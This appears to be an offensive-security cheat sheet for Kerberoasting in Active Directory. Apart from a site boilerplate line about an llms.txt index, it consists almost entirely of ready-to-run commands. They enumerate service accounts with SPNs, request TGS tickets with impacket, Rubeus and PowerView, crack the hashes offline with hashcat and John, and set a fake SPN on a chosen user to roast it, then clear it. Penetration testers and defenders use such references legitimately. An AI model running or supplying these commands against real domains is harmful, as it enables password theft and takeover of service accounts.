Documentation IndexFetch the complete documentation index at: /llms.txtUse this file to discover all available pages before exploring further.
Fetch the complete documentation index at: /llms.txt
Use this file to discover all available pages before exploring further.
Kerberoasting: request TGS tickets for service accounts and crack offline to recover passwords.
Get-DomainUser -SPN | Select SamAccountName, ServicePrincipalName
ldapsearch -x -H ldap://DC_IP -b "DC=domain,DC=local" -D "[email protected]" -w 'pass' "(servicePrincipalName=*)" sAMAccountName servicePrincipalName
impacket-GetUserSPNs DOMAIN/user:password -dc-ip DC_IP
impacket-GetUserSPNs DOMAIN/user:password -dc-ip DC_IP -request impacket-GetUserSPNs DOMAIN/user:password -dc-ip DC_IP -request -outputfile hashes.txt
.\Rubeus.exe kerberoast .\Rubeus.exe kerberoast /outfile:hashes.txt .\Rubeus.exe kerberoast /user:svc_account
Request-SPNTicket -SPN "MSSQLSvc/sql.domain.local"
setspn -T DOMAIN -Q */*
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
Set-DomainObject -Identity targetuser -SET @{serviceprincipalname='fake/spn'} .\Rubeus.exe kerberoast /user:targetuser Set-DomainObject -Identity targetuser -Clear serviceprincipalname # Cleanup
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC
-request -outputfile hashes.txt
hashcat -m 13100 hashes.txt wordlist
.\Rubeus.exe kerberoast